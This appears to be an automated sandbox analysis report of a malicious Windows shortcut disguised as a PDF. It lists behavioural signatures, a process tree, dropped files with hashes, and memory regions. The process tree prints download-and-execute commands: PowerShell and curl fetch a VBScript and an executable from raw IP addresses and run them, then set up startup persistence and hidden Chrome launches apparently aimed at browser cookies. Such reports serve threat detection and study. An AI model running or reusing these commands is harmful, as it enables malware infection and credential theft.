Analysis

  • max time kernel
    298s
  • max time network
    302s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 07:19

General

  • Target
    doc848816_pdf.lnk
  • Size 1KB
  • Sample261027-h5x9lab19p
  • SHA256 6ddcb5e5e2f6289b2b80f94891007414049d124ea1591cecaf71ac7c57eae0ab
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Downloads MZ/PE file 2 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 29 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 22 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\doc848816_pdf.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "& $env:SystemRoot\SysWOW64\curl.exe -s -k -L -o $env:TEMP\t.vbs http://68.178.200.56/?vbs=1; & wscript.exe $env:TEMP\t.vbs"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5816
      • C:\Windows\SysWOW64\curl.exe
        "C:\Windows\SysWOW64\curl.exe" -s -k -L -o C:\Users\Admin\AppData\Local\Temp\t.vbs http://68.178.200.56/?vbs=1
        3⤵
          PID:3124
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\t.vbs
          3⤵
          • Creates a file in the Startup directory
          • Executes a VBScript file via the Windows Script Host.
          • Reads the TCP/IP host and domain name from the registry
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:5356
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -s -k -L -o "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.exe" "http://15.235.40.46:8181/api/autoit-exe?t=04b24e92f15d4601a521b040c1ee13b3"
            4⤵
            • Downloads MZ/PE file
            PID:5236
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -s -k -L -o "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.dat" "http://15.235.40.46:8181/api/autoit-dat?t=04b24e92f15d4601a521b040c1ee13b3"
            4⤵
              PID:4236
      • C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
        "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.exe" "C:\152053b53a03\\svc97dce7fa9f\\svc97dce7fa9f.dat"
        1⤵
        • Downloads MZ/PE file
        • Creates a file in the Startup directory
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks for any installed AV software in registry
        • Reads the TCP/IP host and domain name from the registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.exe
          "C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.exe" "C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.dat"
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:1156
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
            3⤵
              PID:1460
            • C:\Windows\SYSTEM32\taskkill.exe
              "taskkill" /F /T /PID 1460
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2428
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
              3⤵
                PID:5584
              • C:\Windows\SYSTEM32\taskkill.exe
                "taskkill" /F /T /PID 5584
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1316
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
                3⤵
                  PID:1848
                • C:\Windows\SYSTEM32\taskkill.exe
                  "taskkill" /F /T /PID 1848
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6116
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --window-position=-32000,-32000 --window-size=1,1
                  3⤵
                    PID:5496
                  • C:\Windows\SYSTEM32\taskkill.exe
                    "taskkill" /F /T /PID 5496
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5764
              • C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
                C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
                1⤵
                • Executes dropped EXE
                • Modifies Control Panel
                • Modifies registry class
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of SetWindowsHookEx
                PID:3304
              • C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE
                "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding
                1⤵
                • Checks processor information in registry
                • Enumerates system info in registry
                • Modifies Internet Explorer settings
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                PID:4328
              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                1⤵
                  PID:2308
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:4416
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:2528
                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                      1⤵
                        PID:5244
                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                        1⤵
                          PID:2908
                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                          1⤵
                            PID:3360
                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                            1⤵
                              PID:1968
                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                              1⤵
                                PID:4340

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    clr_hc.dat

                                    • Path C:\152053b53a03\svc97dce7fa9f\clr_hc.dat
                                    • Size 16B
                                    • SHA256 22af0b4015103635d5482ceb2401cd306d56e02a11633e849bd48829d829965f
                                    • MD5 SHA1 SHA512

                                    svc97dce7fa9f.dat

                                    • Path C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.dat
                                    • Size 1.6MB
                                    • SHA256 fcb0089de86de30745ee70744b85428cfcf893dd717f652cf577864f0469d1e3
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    svc97dce7fa9f.exe

                                    • Path C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe
                                    • Size 1.1MB
                                    • SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    svc97dce7fa9f.exe.config

                                    • Path C:\152053b53a03\svc97dce7fa9f\svc97dce7fa9f.exe.config
                                    • Size 116B
                                    • SHA256 031c74c6f97d9ac1104f78f44b66af4eef341d8a60ed4b277cc2ffc337761063
                                    • MD5 SHA1 SHA512 TLSH

                                    .svcdns.dat

                                    • Path C:\Users\Admin\AppData\Local\.svcdns.dat
                                    • Size 128B
                                    • SHA256 2e855e48560660de19ba8ab78ca3d6c45bca1597764d7db6aae5918c5905e4b3
                                    • MD5 SHA1 SHA512 TLSH

                                    .svchost.dat

                                    • Path C:\Users\Admin\AppData\Local\.svchost.dat
                                    • Size 21KB
                                    • SHA256 7bad1bd4f2530c571d77660e6c7a5657070061d82e42801594b2f9c76b60732e
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    h.cfg

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\h.cfg
                                    • Size 17B
                                    • SHA256 5c70d8d277d5d5039a88e9fd47ff94ea9f9cdc11a9635fbbdf3c0f6edeb32de7
                                    • MD5 SHA1 SHA512

                                    svc8D85Dh.dat

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.dat
                                    • Size 1.6MB
                                    • SHA256 68362ef16b051875346aac7fc7680a9831aec248a42d273d023c3a8ce4199141
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    __PSScriptPolicyTest_sigexdu1.mug.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sigexdu1.mug.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    cookies.json

                                    • Path C:\Users\Admin\AppData\Local\Temp\clev_1460\Chrome\Default\cookies.json
                                    • Size 452B
                                    • SHA256 d4a80638177da1003e8073e2ac9a768aadc5ff45bb8f48fdd9b1fae2a6b64d76
                                    • MD5 SHA1 SHA512 TLSH

                                    olk_diag_test.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
                                    • Size 1KB
                                    • SHA256 c3198cd0364b915850e822ce1a49fa441bad16d6554c81beaf6b0a1ab5a40c3c
                                    • MD5 SHA1 SHA512 TLSH

                                    olk_diag_test.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
                                    • Size 2KB
                                    • SHA256 92b3a77319fdcca659ecb3fd7aeffa538b4b859962c561114ac7331b7fd7381a
                                    • MD5 SHA1 SHA512 TLSH

                                    olk_diag_test.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
                                    • Size 3KB
                                    • SHA256 c219aa09b9b84e6d9da29da8774642cbc6f2de23e8a5735261d922a39be7a626
                                    • MD5 SHA1 SHA512 TLSH

                                    olk_diag_test.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
                                    • Size 3KB
                                    • SHA256 b1179f44ccc8de40f333cb34d7237c6ae2f51f57cf17e68e1941416bfbb8220f
                                    • MD5 SHA1 SHA512 TLSH

                                    olk_diag_test.log

                                    • Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
                                    • Size 4KB
                                    • SHA256 cdd38ccace3e11ce823ceffaa90042636c6a41d6ad3cb2043b2f077185378520
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    t.vbs

                                    • Path C:\Users\Admin\AppData\Local\Temp\t.vbs
                                    • Size 7KB
                                    • SHA256 6c538ed6fd7f82a24080b05f55763a357cb141a47738e8a79d0b409ff239318c
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    svc97dce7fa9f.lnk

                                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svc97dce7fa9f.lnk
                                    • Size 761B
                                    • SHA256 8f5f80f72f7638d7d1dfd35ccc0bf34598a522005dbba3644f44c6ad8c692ab6
                                    • MD5 SHA1 SHA512 TLSH

                                    Outlook Data File - naiopehfdc.pst

                                    • Path C:\Users\Admin\Documents\Outlook Files\Outlook Data File - naiopehfdc.pst
                                    • Size 265KB
                                    • SHA256 64c344e1b5df6b5962b642d02612f1cc44ed4e701a0ced50a773468db7105539
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/1156-57-0x0000023DDA5A0000-0x0000023DDA70C000-memory.dmp

                                    memory/1156-74-0x0000023DDA3F0000-0x0000023DDA4E2000-memory.dmp

                                    memory/1156-75-0x0000023DC1F80000-0x0000023DC1FF2000-memory.dmp

                                    memory/4328-84-0x00007FFDA8100000-0x00007FFDA8110000-memory.dmp

                                    memory/4328-81-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

                                    memory/4328-83-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

                                    memory/4328-82-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

                                    memory/4328-79-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

                                    memory/4328-85-0x00007FFDA8100000-0x00007FFDA8110000-memory.dmp

                                    memory/4328-80-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

                                    memory/4464-28-0x000001F0FC460000-0x000001F0FC5D0000-memory.dmp

                                    memory/5816-3-0x00007FFDC7A2F000-0x00007FFDC7A30000-memory.dmp

                                    memory/5816-10-0x000001BF6CAA0000-0x000001BF6CAC2000-memory.dmp

                                    memory/5816-12-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

                                    memory/5816-13-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

                                    memory/5816-9-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

                                    memory/5816-16-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp